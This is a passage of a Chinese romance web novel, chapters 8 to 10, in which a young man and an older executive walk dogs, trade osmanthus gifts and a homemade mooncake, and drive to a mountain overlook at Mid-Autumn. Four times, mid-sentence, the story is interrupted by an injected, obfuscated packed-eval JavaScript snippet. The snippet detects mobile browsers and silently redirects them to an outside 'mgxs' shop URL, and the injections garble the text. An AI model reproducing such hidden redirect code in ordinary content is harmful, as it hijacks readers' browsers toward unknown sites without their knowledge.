程云峰给另一个秘书打了电话让他安排,挂掉电话后问:“宋总,那现在是去公司还是回别墅?” 宋薄言没回答这个问题,“他问我是不是不喜欢和他单独出去,什么意思?” 程云峰意外,居然还能见到他的工作狂老板思考这种人际问题,斟酌着解答,“林仪先生还很年轻,刚大学毕业,可能有些小孩子心性,大概不喜欢这些应酬场合吧。” 宋薄言没说话,程云峰觉得可能没说对,想了想又道:“还有就是,这些社交场合人太多了,宋总您总免不了要花很多时间和别人来往,大概就会忽略林先生,而且林先生现在不是正在创业吗,大概也是把您当做榜样崇拜的,可能会希望您多关注他一些。” “这样吗?”宋薄言反思之前几次,自己确实一到地方就把他推出去,希望他能自己多结识一些对他有用的人脉。 他会觉得自己被忽略了吗? 他崇拜自己吗? 车厢内安静片刻,宋薄言缓缓启唇道:“以后这种活动不用安排了。回公司。” 程云峰应下,踩下油门去把车开出去,还补了句,“不过宋总其实不必如此,您带他参加聚会无非就是希望他能积累人脉,但其实宋总您自己就是最好的人脉。” 开玩笑,他们出席的场合哪次宋薄言不是焦点,真要人脉,有宋薄言一个,就够在安市吃得开了。 宋薄言思索一番他的话,点点头,“嗯,知道了。” 程云峰心中激荡。 难得也有他给宋总出谋划策的时候,还被采纳了! …… 中秋节前夕,宋薄言早早下了班,假期第一天,先回了躺家。 他爸妈家住在西山别墅区,闹中取静,寸土寸金的位置大手笔的划出大面积绿化带,环境清幽怡人,宋薄言没有别的事的时候,都是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478919|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己散步走进来。 结果这次到家却扑了个空,家里一个人都没有。 他给赵舒打了个电话,“妈,你们不在家?” “是啊。”赵舒笑呵呵的,“我们在你小姨家呢,这次中秋就不回去过了。” 宋薄言:“需要我过来吗?” 赵舒拒绝,“你就别过来了,忙你的吧,咱们都在一个地方,平时想见就能见的,不必中秋非要聚一下,你自己看着安排吧。” 宋薄言:“……” 赵舒挂掉电话后对着身后雍容华贵的女人道:“还是你的办法好,薄言都快三十了还不结婚,把我跟他爸急死了都,以后年节就不让他回家了,让他感受一下外面万家灯火独他一人独守空房的滋味,他就知道找个伴侣多重要了。” 小姨道:“薄言确实年纪不小了,怎么你也不帮着安排一下相亲什么的?孩子们自己不着急,咱们大人可得帮看着些。” 赵舒愁眉苦脸的,“我们当然安排过,但是薄言他主意大,谁也拗不过他,给他介绍的人他见都不见的,我们也拿他没办法,而且他那个性格冷冰冰的,平常不苟言笑,还是个工作狂,我都担心给他介绍女孩子他能把人吓跑。” 俩姐妹同时叹了一口气。 挂掉电话后,宋薄言在黑漆漆的别墅大厅里鬼一样的立了好几分钟。 赵舒女士甚至把管家和保姆也遣散回家过节了,意图不要太明显。 他无奈地上楼去书房拿了点东西,关上门离开了别墅。 一时间不知道去哪儿,他照旧漫步出去找车,忽然想到了前几天林仪跟他说的话。 他这几天太忙,还没来得及找林仪解释。 正思考着要不要把人约出来时,余光看见一道残影很快从不远处的花园小道飞过去了。 “飞”是比喻,但一点儿不夸张。 宋薄言仔细一看,是三条狗牵着一个人,飞快地在别墅区跑步。 是个少年,背影很熟悉,宋薄言不太能确定,毕竟他是知道小孩儿家住在哪里,出现在这里的概率应该不大。 很快,三狗一人跑了过来,从他身边掠过,带起一阵狂风,宋薄言确定那就是林仪,喊了一声, “林仪。” 林仪听见有人叫他,回头去看,但三只狗狗没停下来,他也只能跟着跑,晃动间看见是宋薄言,眼里流出惊讶,“宋先生!我在遛狗!你等我一下……” 声音越来越远了,林仪被狗带着跑到了另一边。 宋薄言:“……” 宋薄言失笑。 还从没见过狗遛人的。 林仪花了好大力气才把两只阿拉斯加和一只比格犬拉停,牵着他们往回去找宋薄言。 宋薄言大步走过去,“你怎么会在这里?” 林仪好不容易停下来,弯着腰手撑在膝盖上喘气,好半天才喘匀了气,撑着腰用手给发烫的脸扇风,“我帮朋友来遛狗,宋先生你住这里吗?” 少年脸跑得通红,额上出了一层汗,将黑发濡湿了贴在白皙光滑的额头,说话间气息还有些乱,宋薄言目光落在他殷红湿润的唇上,道:“爸妈住这边,过来看看。” 林仪勒住蠢蠢欲动的狗子,“那您现在要走了吗?” 8. 小礼物 “刚来,需要帮忙吗?”宋薄言伸出手,示意对方把狗绳子给他。 林仪看了看三只狗,本来想把小一点的比格给他,转念一想,这只比格疯起来两只阿拉斯加根本就是小弟,遂还是分了他一直阿拉斯猪。 两人放慢速度,牵着狗在别墅区宽阔的草坪小径散步。 宋薄言:“你朋友住这边?” 林仪点头,“是我大学认识的一个学长,他在我大一那年被星探挖走去当演员了,最近两年好像很火,一年到头都很忙,家里的狗狗平时都是请人来照顾,但最近照顾狗狗的人请假回家了,学长就拜托我来帮他遛一遛。” 学长。 小孩儿好像人缘很好。随便去参加一个聚会也能认识很多人。 还加了微信。 林仪道:“宋先生是回来看爸妈的吗?那你快回去吧,我已经快遛完了,再带他们转一圈就送回去。” “没事,我陪你。” 林仪一愣,转头不说话了,两人就这么牵着狗,并肩在别墅区里慢慢悠悠的散步。 阿拉斯加丝毫没注意到牵着自己的铲屎官已经换人了,只管一往无前地探索小区的每一个角落。 宋薄言忽然开口,“抱歉。” “什么抱歉?”林仪看向他。 宋薄言:“以后不会再带你去人很多的地方了,是我没考虑到你的感受,下次若要再见,只有我们两个人。” 他回去反思良久,或许少年现在需要的不是通达广阔的人脉,而是一个倾听对象,一个能够倾听他初出茅庐准备大展拳脚的远大志向的对象。 少年人就是这样,赤诚热血又不切实际。 但如果他愿意讲,自己耐心倾听就好,他也是这样一步一步走过来的,知道少年的理想最需要人鼓励支持。 林仪早后悔为这件事跟宋先生闹不愉快了,闻言脸都红了,不好意思道:“没事的,您不用道歉,只要您不觉得我很幼稚就好。” 宋薄言认真道:“不会。” 林仪对他笑了笑,宋薄言一愣。 两个酒窝。 林仪:“时间差不多了,宋先生您把狗给我吧,我自己把他们送回去就好。” “我跟你一起过去。”宋薄言补充,“送到门口。” “好。” 两人牵着狗往朋友家的别墅走,到门口时宋薄言把狗给他,林仪回到别墅后没急着走,给三只狗狗安排好了晚饭看着他们吃,两只阿拉斯加挺乖,都是各吃各的,比格跟个小魔王似的,吃着吃着还要去抢别人碗里的。 林仪就要在这时候控制一下局面,免得阿拉斯加吃不饱。 弄完后时间已经过了三十分钟,外面天也快黑了,他拿上自己东西准备回家。 结果刚出了别墅门,发现宋薄言还在门口。 “宋先生,您怎么……” 宋薄言转身:“等你。” “啊,抱歉,早知道让您也一起进来了,刚才给三只狗准备狗粮花了些时间。” 宋薄言:“没事。” 两人又往别墅门口逛,林仪问:“快到饭点了,宋先生不用回家跟爸妈吃饭吗?” “他们走了。” 宋薄言语气没什么情绪,林仪直接误会了。 林仪遗憾道:“抱歉。” 宋薄言看他一眼,“他们去我小姨家了。” 林仪:“……” 两人对视一眼,默契地笑起来。 迎面有个小孩儿骑着他的两轮儿小车车压弯经过,宋薄言及时拉了他一把,避免了一场“车祸”,“怎么走路不看路?” 林仪被他这一带,更加靠近了一些,一抬头差点撞上,他连忙退开一步,望了望周围,“我只是在想这条路对不对,感觉这里每条路都长一样。” 宋薄言失笑,原来是个小路痴。 “跟我走就行了,我带你出去。” 林仪乖乖点头,还嘀咕一句,“我有记路的,这里面房子长得都好像……” 宋薄言落后他半步,目光落在少年挂满懊恼的后脑勺,少年后脑勺非常圆润,他之前摸过一次,摸起来的手感也很好,头发也软,还有两根头发微微翘起来,让宋薄言又忍不住想给他压下去。 “明天有安排吗?” 林仪抬头,两根呆毛被转了回去,“又要去聚会吗?” 宋薄言终于伸出手按了按那两根呆毛,“当然不是,只有我们两个人。” 林仪低头,嘴角扬了扬,忽然想起什么,问:“可明天是中秋节啊,你不回家团圆吗?” “我爸妈准备在小姨家过节,听他们意思,并不太愿意带我一个单身儿子一起去。” 林仪笑了起来,“跟我好像啊。” “我爸妈也不打算带我一起过节了。” 后面的话他就没说了。 他爸妈不带他,自然是希望他和宋先生一起过的,本来他已经不抱希望,宋先生肯定觉得他特幼稚,想着哪天把西装外套还给宋先生,他们之间就不会有其他故事了。 没想到会在这里遇到。 没想到宋先生还会跟他道歉。 说着,两人走到了宋薄言停车的地方,这次是他自己开车回来,正好家里没人,他也是要回去的,就先把林仪送回了家。 车停在小区门口,林仪下了车正要跟宋薄言说再见,又想起一件事,“宋先生,您先等我一下,我去把您的衣服拿下来。” 说完他飞快跑了回去,宋薄言把车往前开一点,等林仪出来。 十分钟后,林仪下来了,看样子是小跑过来的,跟在小区见到他遛完狗时一样,有些微微带喘,“宋先生,您的衣服。” 宋薄言接过口袋,道:“刚出了一身汗,小心着凉,快回去吧。” “别跑。” 刚要跑起来的林仪收回了腿,转身对他挥手。 林仪倒退着走了几步,踩在一块凸起地砖上,踉跄了两步。 “看路。”宋薄言无奈。 看着少年身影消失后,迈巴赫才从小区门外开走。 停在自家别墅车库时,宋薄言将西装取出来,低头闻了闻,上面果然还残留着淡淡的桂花香味。 那天少年穿着他的外套去摘桂花,他看见少年手上拿不到了就往西装胸前的口袋了塞了一枝,虽然后面被他拿出来全都送给自己了,但桂花馥郁,香气仍有残留。 他将衣服对折起来挂在手腕,下车的时候什么东西从西装口袋掉了出来。 宋薄言弯腰,见是一张透明的塑料卡,里面装了一枝压干的早银桂。塑料卡下面可以撕开,是两片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478920|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合在一起的,小巧透明,可以做书签用。 从西装里掉出来的,那应该是少年放进去的。 宋薄言拿着早银桂书签看了一会儿,嘴上不自觉露出一个笑。 上楼后他将书签找了个盒子装起来,随即又取出来,直接放在书桌最显眼的位置,然后进了浴室。 浴室门打开,林仪擦着头发拿起手机,看见好几个余越的未接电话,反手给他回拨了回去。 林仪心情很好,“找我干嘛?” 余越:“怎么这老半天不接电话?我只接受一个原因,就是你在和你的宋先生谈恋爱没空接。” 林仪嘿嘿一笑,“那要让你失望了,我在洗澡。” “什么?”余越大喊,“这能叫失望?简直我心甚慰啊,都发展都这一步了?” “什么什么呀。”林仪:“我在自己家。” 未免对方继续发散,他补充道:“只有我一个人。” 余越能立马发现华点,“听起来你很失望嘛,希望是两个人?” 林仪抿唇,感觉自己脸有点热起来了,不能再想了不能再想了。 “你到底找我干嘛?” 余越这才说出他的目的,“明天中秋节啊,过来一起玩儿,李旭买了个新的桌游,半剧本杀类型的,就差你一个了。” “我不来。”林仪站在窗边看外面的夜景,“我明天有安排了。” “和宋先生?”余越:“我只接受这一个理由,要真是和宋先生约会,那哥们儿成全你,少一个就少一个吧,我一人分饰两角。” 林仪:“那你就精分一下,一人分饰两角吧。” 余越:“真是宋先生啊,他约的你?” 林仪语气都在往上飘,“对啊~” “有戏啊有戏,原来相亲这么香,你搞得我都想相亲了。”余越大为羡慕,“等你们好上了请我们吃饭啊,没好上也可以请,让我们哥们先给你掌掌眼。” 林仪:“还早呢。” 余越:“早什么早,相亲就是以结婚为目的的,你们都这么多天了,还没好上已经算很慢的了。” “真的吗?”林仪被唬住了。 他毕竟也没相过亲,身边的人和他同龄,基本没有像他一样一毕业就被安排相亲的,没有个参考。 “真的啊。”余越道:“我爸妈他们就是相亲认识的,据说当年两家人见了一面,双方都很满意,后来单独出去约会几次,回来就直接订婚了,然后就是两家互通往来,定下婚期,没两年我就出生了,你说你慢不慢?” 林仪心中惊奇。 原来相亲应该是这样的? 余越又道:“不过没事,年代不一样了,但你遇上这么优质的还是得抓紧,明天正好就是个机会,你自己看着把握吧,需不需要我教你一些约会的套路?” 林仪立马拒绝:“你的都是失败的套路,我才不学。” 余越捂着心口,“禁止人身攻击啊!” 两人又扯了两句有的没的挂掉了电话,林仪退回微信,看见宋薄言的消息,不自觉就笑起来,一个飞扑扑到床上,点开消息。 宋:「谢谢你的桂花。」 后面带了一张照片。 他做的桂花书签被放在一个小巧精致的相框里,摆在了书桌最显眼的位置。 9. 脸盘大的月饼 林仪抱着被子打了个滚。 宋先生怎么这么好啊~~~ 他点开语音,刚说了一句话,又滑到删除位置,犹豫一下,拨了个视频过去。 对面很快就接了。 黑黑的手机屏幕上一下子出现宋薄言的脸,近乎完美的五官就这样放大出现在面前,那双漆黑深邃的眸子落在手机上,仿佛能穿透屏幕。 “怎么还不睡?” 画面一直在移动,男人似乎是刚从浴室出来,身上裹着真丝睡袍,头发还没擦,有一滴水凝结在发尾顺着男人下颌轮廓滑到喉结位置。 林仪心跳变快了些,他把手机拿远一点,语速飞快,“我等一下就睡了。” 镜头还在晃动,对面没说话,像是在等着林仪说出来意。 林仪:“那个早银桂标本,其实是书签。” 书签就是要夹在书里啊,怎么还装进相框摆桌上了。 那不是天天抬头就能看到吗? 宋薄言取了块毛巾随意擦了擦头发,不滴水了就把毛巾放下回了书房,就坐在摆放早银桂书签的书桌前。 屏幕里的少年应该是躺在床上的,额发往后顺,露出了饱满光洁的额头,大概是刚洗完澡,头发吹得干干的,柔软蓬松地落在床上,有几缕可能没吹到,缠在一起贴在耳畔,顺理成章地勾出修长的脖颈线。 他目光自然而然就看向少年脖子,发现少年颈窝处有一颗颜色很浅的小痣。 宋薄言目光一顿,不着痕迹地别开,“放在书里容易掉。” 屏幕里的少年笑起来,又看见了两个酒窝。 林仪举手机举累了,三百六十度翻身趴在床上,将手机靠在枕头上,脸枕在胳膊上,“我们明天去那里啊?” 这个角度,宋薄言隐约能看到少年小腿翘起来一晃一晃的,睡裤裤腿滑落堆叠在膝弯,白皙的小腿就跟在发光一样,在屏幕一角晃来晃去,让人没法不关注。 “都安排好了,要我现在告诉你?” “要啊。” 林仪一想,如果他现在不知道,明天是不是就会多一点惊喜? 马上又摇头,“不要。” 宋薄言轻笑,“到底要还是不要?” “不要。”林仪确定,“明天就知道了。” “嗯,明天就知道了。” 林仪:“宋先生,您还不吹头发吗?” 宋薄言:“你要看我吹头发吗?” 林仪一只手撑着下巴,脑袋微微往一边偏,“可以看吗?” 宋薄言唇边带笑,“可以。” 于是他把手机放在洗漱台镜子旁,给对面的少年直播吹头发。 期间两人没有说话,全是吹风机嗡嗡嗡的声音,少年也没走神,就这么趴着专注地看他吹头发。 宋薄言心中升起一种陌生的感觉。 他很早就搬出来一个人住了,多年来身边都没有别的什么人,家里冷冷清清,装修也是性冷淡风,连赵舒都不止一次说过,他家里太过冷清,就跟没住人一样。 这还是头一次快接近晚上十一点了,家里出现其他人的声音。 虽然少年说话声音也不大,但就是有种多了一个人的感觉。 头发吹干了,宋薄言看了看时间,提醒道:“十一点了。” 林仪想起宋薄言说过他的作息是十一点睡六点起,把手机拿起来道:“那我睡觉了,宋先生晚安。” 宋薄言:“晚安。” 电话很快被挂断,宋薄言露出一种不解的表情。 他以为少年等着他吹完头发,是有什么事情要说。 比如跟他谈一谈他的项目,前几天听他说过,最近已经出了游戏大致框架。 但他什么也没说,只是默默看着他把头发吹完,让睡觉就乖乖去睡了。 林仪才没有乖乖睡觉,现在才十一点钟,他翻身下床把电脑拿了过来,继续“星之卡比”女士没完成的单,一直弄到十二点半才关掉电脑。 第二天,林仪八点钟就起床了。 一边刷牙,一边翻开微信通讯录,从爸爸妈妈奶奶外公开始,一个一个地编辑专属定制版中秋祝福,发完长辈亲戚群的,又去给玩得好的好友群发。 最后才打开了宋薄言的聊天框,发了句很简单的。 「宋先生,中秋快乐。」 跟过年一样忙碌。 等他洗漱完,再一看手机受到了好多红点点,还有些长辈还给他发了红包。 林仪把红包领了,发了个“恭喜发财”的表情包过去。 宋薄言没回复,但没多久给他打来了电话。 宋薄言:“抱歉,公司临时有点事,可能要中午才能来接你。” 诶? 林仪稀里糊涂道:“好的啊,宋先生您先忙。” 挂掉电话,林仪还有些奇怪。 他一直以为他们约的就是下午和晚饭,原来宋先生安排的是一整天吗? 低头一看,他身上还穿着睡衣和倒霉熊拖鞋,根本就没开始准备要出门。 幸好宋先生临时有事,他不用着急忙慌收拾了,也不会让人家白等。 果然一醒来就有惊喜! 他开始觉得,行程未知的约会好有意思。 不过现在确定了是中午出发,林仪还是很快把自己收拾好。 上午还有很长时间,他用手机下单了一些东西,准备做一个周丽女士教他的月饼。 毕竟是中秋节啊,当然要有月饼。 食材到了之后,林仪先把荔浦芋头和紫薯放进锅里蒸熟,然后和面做饼皮,每一个步骤都有条不紊,动作娴熟,平时没少给周丽女士打下手,现在全都派上了用场。 他专门买了一个超大的月饼模具,比他脸还大,简直是要把月饼当成蛋糕做。 忙活一上午,总算是大功告成,打开烤箱的瞬间,肉松和奶香气扑面而来,林仪馋虫大动。 但是月饼只有一个,他忍住没动,将月饼取出来小心放在准备好的盒子里。 鼓捣一上午还没吃饭,林仪又给自己做了碗面吃,刚吃完宋薄言的电话就准时打了过来。 林仪提上月饼礼盒,穿上外套下楼。 程云峰等在车外给他打开车门,“宋总还有点事情没忙完,让我过来接你先去公司。” “好啊。”林仪上了车,见程云峰系好安全带,道:“中秋快乐啊程哥。” 程云峰:“中秋快乐。” 他看了眼后视镜,少年很小心地把一个礼盒放在座位旁边,好奇问:“是要带给宋总的礼物吗?” 林仪点头,有一丝丝骄傲,“对,是月饼,我自己做的。” 程云峰惊讶,“自己做的?这么厉害。” “我妈教我的。”被夸了林仪很高兴,只是可惜不能打开给程云峰瞧一瞧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478921|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他的模具可好看了。是两只奔月的兔子。 程云峰:“月饼工序挺多的,自己做要做很久吧。” 林仪道:“确实会比较花时间,所以只做了一个,下次有机会我再多做一些,给程哥你尝尝。” 程云峰摆摆手,“谢谢谢谢,你对宋总可真好,平时中秋节宋总一般都是回家吃饭,家里的月饼都是买来图个节日氛围,很少有亲自做来吃的,你真的很有仪式感。” 两人一来二去聊远了,聊到了程云峰的家庭,说他老婆以前是西点师来着,但也几乎没有做过月饼,今天如果下班早,他想回去做给他老婆吃。林仪就把他妈妈学习的视频教程分享给了他。 去公司的路不远,很快就到了公司楼下。 程云峰带着林仪上楼,今天中秋,公司都放假了,办公室一个人都没有,只有总裁办公室坐着个宋薄言,正专心致志地处理文件。 “宋总,林先生到了。” 宋薄言抬头,“先坐吧,再等我十分钟。” 程云峰退出办公室,林仪熟练地找了个沙发坐下,乖乖等着宋薄言结束工作。 月饼盒子被他放在桌上,他发呆的时候想,再插根蜡烛就是生日蛋糕了。 就是不知道宋先生什么时候生日。 等到时候找周丽女士学学做蛋糕吧。 十分钟后,宋薄言忙完手头的工作起身走过来,看见桌上有个锦盒,问:“这是什么?” 林仪见他过来,眉眼不自觉流露出笑意,兴奋地过去拆盒子,“今天不是中秋节吗,我带了月饼来。” 宋薄言一看,“这么大的月饼?” 林仪就等他这个反应,“大吧,里面是芋泥肉松馅儿的,可香了。” 说完不见宋薄言回应,抬头问,“宋先生要尝尝吗?” 眼里满含期待。 宋薄言目光落在比少年脑袋还大的大月饼上,说:“我对芋头过敏,不能吃。” “啊……” 这太让人意料之外了,林仪拿塑料刀叉的动作僵在原地。 宋薄言见他眸光黯淡下去,闻声安慰,“这个你吃吧,要是喜欢,一会儿我让人再买些。” 他摸了摸少年脑袋,起身,“我出去交代些事,再等等就出发。” 办公室只剩林仪一个人,看着月饼发呆。 他怎么没提前问问宋先生对芋头过不过敏呢。 哎~ 中秋果然是要望月兴叹的,只是现在天还没黑,他就要兴叹。 宋薄言离开办公室去了会议室,有个股东正和几个经理开会,他进去交代了一些事,出来后程云峰过来把车钥匙给他。 程云峰问:“宋总,月饼您尝了吗?好吃吗?” 他和林仪越聊天就对这个月饼的味道越好奇,要是宋总都说好吃的话他等会儿下班就去买材料。 宋薄言大概是好奇他怎么也知道,看了他一眼,道:“没吃,芋头过敏。” “啊!” 程云峰突然想起来这件事,他是知道宋薄言芋头过敏的,但在车上跟林仪聊嗨了,一时没想起来。 “可惜了。”程云峰惋惜。 宋薄言:“可惜什么?” 程云峰道:“那是林先生亲手做的,一大早起来,做了好久呢,他说他也是第一次尝试自己做月饼,口味也是新的。” “亲手做的?”宋薄言脚步一顿。 10. 送你 程云峰也跟着停下,“是呀。林先生说今天中秋节,要吃月饼,所以亲手做了带来说要给您吃。” 宋薄言沉默。 程云峰见他不说话,有些忐忑,不会是自己说错了什么吧? “宋总?” 宋薄言忽然转身,“我出去一趟。” 看着老板潇洒离去的背影,程云峰有点懵。 这亲戚家小孩儿还捧着月饼在办公室等着呢,您去哪儿啊去! 愁死了。 程云峰不得不回办公室把这件事告诉林仪,安抚他说宋总有点事,很快就回来。 林仪已经把月饼又装了回去,蔫蔫地点头说好,来的路上眼里还有高光,现在没了。 他一个人在办公室沙发坐着,不玩手机也不动弹,就捧着脸发呆等宋薄言回来,猜测一会儿要去哪儿,这个月饼也要带上吗? 可是带上也吃不了。 要不自己吃了算了,他对这个月饼有点馋。 刚试探地伸出手揭开锦盒的盖子,办公室的门就被打开了。 “宋先生,您回来了。” 林仪立马缩回手,忽然反应过来自己没做亏心事呀,心虚什么。 “嗯。”宋薄言迈着大长腿朝他走来,半蹲在茶几边,将手上的东西放下。 林仪问:“这是什么?” 宋薄言:“拍立得。” 林仪:“要拍照吗?” 他猜测是今天去的地方可能会拍照。 “嗯。”宋薄言点头,伸手把月饼盒打开,在林仪不解的目光下,拿起拍立得,对着月饼咔嚓按下快门。 给月饼拍照吗?! 林仪眼睁睁看着拍立得哇啦哇啦吐出一张相纸,宋薄言取出来放在桌上,然后换了个姿势把月饼调整角度继续拍。 咔嚓—— 咔嚓—— 咔嚓—— 多机位,多角度,开闪光,无闪光…… 林仪数了数,已经拍了七八张了,看着宋薄言还要再拍,连忙拉住他胳膊,“宋先生,您干嘛要给月饼拍这么多照片啊?” 月饼是要升天了吗? 他想说别看上面有两只奔月的兔子,但月饼不会飞走的。 宋薄言取出缓缓吐出的相纸,道:“我因为过敏不能吃,但你的心意不能浪费,我把它拍下来收藏起来,就算收下了你的月饼。” 他没有再继续拍了,将相纸一张一张放好等它成像,然后拿出刀叉,“你吃,我看着你吃。” 林仪早就怔住了。 因为吃不了,所以拍照下来收藏吗? 宋先生怎么会这么暖啊~ 先前他那一点因宋薄言不能吃他做的月饼而产生的小失落都没了,眼底的高光又回来了! “宋先生哪里来的拍立得?” 宋薄言:“刚去数码城买的。” 林仪一笑,“那光拍月饼算什么,既然买了,就多拍两张吧。” 宋薄言拿起相机,“好。” 他正要再给月饼来几张特写,就见林仪端起了月饼凑到他身边,脑袋一偏贴到自己身旁,“拍吧。” 宋薄言一愣,随即将拍立得反了过来,找准角度,给他和林仪拍了张合照。 拍立得很快成像,照片里少年两只小酒窝圆圆的挂在脸上,笑得粲然。 宋薄言:“这张也给我收藏。” 林仪拿出手机,“那我拍一张吧。” 拍完后,宋薄言将照片都收起来,给他切了一块月饼下来递给林仪。 林仪终于吃上自己做的月饼,感觉比昨天做得更好吃。 看少年吃得这么开心,宋薄言竟然也开始好奇月饼的味道。 他用叉子叉了一小块饼皮送进口中尝了一口,点头,“甜而不腻,不错。” 林仪更开心了。 宋先生还是吃上了,太好了。 路上,林仪对驾驶座的人道:“宋先生,月饼的照片能给我一张吗?” 宋薄言拒绝,“那是我的个人收藏。” “……”林仪失笑,“可是您拍了好多张,就给我一张呗。” 宋薄言骨节分明的手指搭在方向盘上,转弯时滑动半圈,依然拒绝。 林仪继续央求,好不容易才要来一张,咕哝一句,“宋先生好小气哦。” 他用手机拍了照,发到余越几个人的小群里。 潜水员们立马被炸出来。 余越:「哪里买的月饼,不错,够大,订一个送来我司,节日福利就它了,谢谢。」 李旭:「感谢老板中秋送温暖,我和我的小伙伴在这里给您拜个早年。」 其他人:「感谢老板中秋送温暖,我和我的小伙伴在这里给您拜个早年。」 雷霆:「人在海南,心在海南,见月饼而思仪仪,望外卖上门聊寄相思。」 余越:「雷子,你入赘海南吧,别回来了。微笑emoji」 林仪见缝插个话:「这是我做的。」 余越:「你亲手做的?给谁吃了?是单给我们的,还是别的什么人都有?」 林仪:「是单给宋先生一个人的,你们都没有。」 余越:「岂有此理,我们可从来没吃过你亲手做的月饼!!!」 雷霆:「哟,仪仪跟相亲对象过中秋去了?」 雷霆:「我看中秋回来就要改口叫老公了,都做月饼了,这跟结婚了有什么区别。」 余越:「什么老夫老妻的操作,人家都是做蛋糕……」 巴拉巴拉…… 林仪一一看完,视若无睹,只管炫耀自己的,「宋先生夸我做得好吃。」 余越:「你亲手做的能不好吃?」 李旭:「宋先生夸你好吃?」 类型:「宋先生吃你说好夸?」 林仪:「……」 林仪没有回了,又把照片发到朋友圈,配文:「中秋快乐」 余越几个人立马转移到评论区。 余越:「群里不够你炫耀是吧。」 李旭:「哦哟哟哟亲手做的哟~」 雷霆:「做得好好吃喔~」 林仪快忍不住了,关掉了手机,把车窗打开一点缝隙,风吹进来,额前的头发迎风而动。 没多久他发现车停在了一个商场外面,林仪转头,“宋先生,今天我们是要去逛商场吗?” 宋薄言余光一直关注着后视镜笑得眉眼弯弯的少年,“不是。” 他只说不是,又不说到底去哪儿,又不让人下车,等了一会儿,林仪见有个穿着正装的女生朝他走过来。 宋薄言把副驾车窗降下去,“伸手接一下。” 林仪伸出手,女生把一个小手提袋放在他手心,祝他中秋节快乐。 林仪也回了一句中秋节快乐。 车窗关上,宋薄言踩下油门把车开出去,“打开。” “好。”林仪乖乖照做,拆开盒子,看见锦盒里躺着一枚闪闪发光的胸针,形状是一支银桂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478922|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林仪赞叹,“好漂亮。” 宋薄言:“喜欢吗?” “喜欢——”林仪扭头,“诶?” 绿灯亮了,宋薄言把方向盘甩出去,“送你的。” “送我的?”林仪惊喜。 “嗯,中秋礼物。” “谢谢。”林仪把胸针取出来,别再自己衬衣领口。 宋薄言转头看了一眼,夸赞道:“很衬你。” 林仪笑起来。 怎么办,他又想发朋友圈了。 今天宋薄言换了一辆越野车,很快车开出了城上了高速,车开得很稳,林仪渐渐歪着脑袋睡着了。 他是被一道低沉极富磁性的嗓音给唤醒的。 “到了。”宋薄言轻声道。 林仪慢慢睁开眼,车已经找到位置停好,外面绿意盎然,一块木制引路牌写着“伏龙山观景台”。 林仪知道这个地方,伏龙山就在安市东部边缘临近隔壁市,有一处很有名的观星台。 大学时期,学校很多情侣周末最爱来这里约会,一起看星星,隔天再走几步,还有最佳观看日出的景点。 这……这是在约会吗? 停车场距离观景台还有十分钟的路程,宋薄言领着林仪往上走。 宋薄言:“之前来过这儿吗?程云峰说这儿很受学生欢迎。” 林仪摇头,“没有。” 这儿都是情侣来,余越倒是往这儿跑了好几次,有时候也会邀请他一起。 但他不想当电灯泡,所以从来没来过这个本地的景点。 宋薄言点头,“今天天气不错,晚上应该能看到星星,先上去坐坐。” 他们走到观景台旁位置还要高出一截的咖啡厅,咖啡厅装潢精致,朝着山谷整面墙都是玻璃的,外面还有露台,坐在这里比在观景台位置还要好,需要提前预定。 宋薄言觉得,少年如果想要聊聊梦想聊聊项目,这儿就是个不错的地方。 视野开阔又安静。 宋薄言定的露台的位置,林仪趴到栏杆上眺望山谷,明白为什么学校的人都喜欢来这里了。 风景真好啊。 宋薄言看着他雀跃的背影,问:“喝点什么?” 林仪回头,“果汁吧,谢谢。” 宋薄言点了咖啡和橙汁,离晚饭还有一会儿,又点了些小吃甜点给他垫肚子。 宋薄言也没来过安市这个近在眼前的景点,偶尔度假放松,都是去国外找个安静的岛,大学倒是有段时间爱爬山,通常都是跟几个驴友组团。 带个小孩儿来玩儿是绝对没有过的体验。 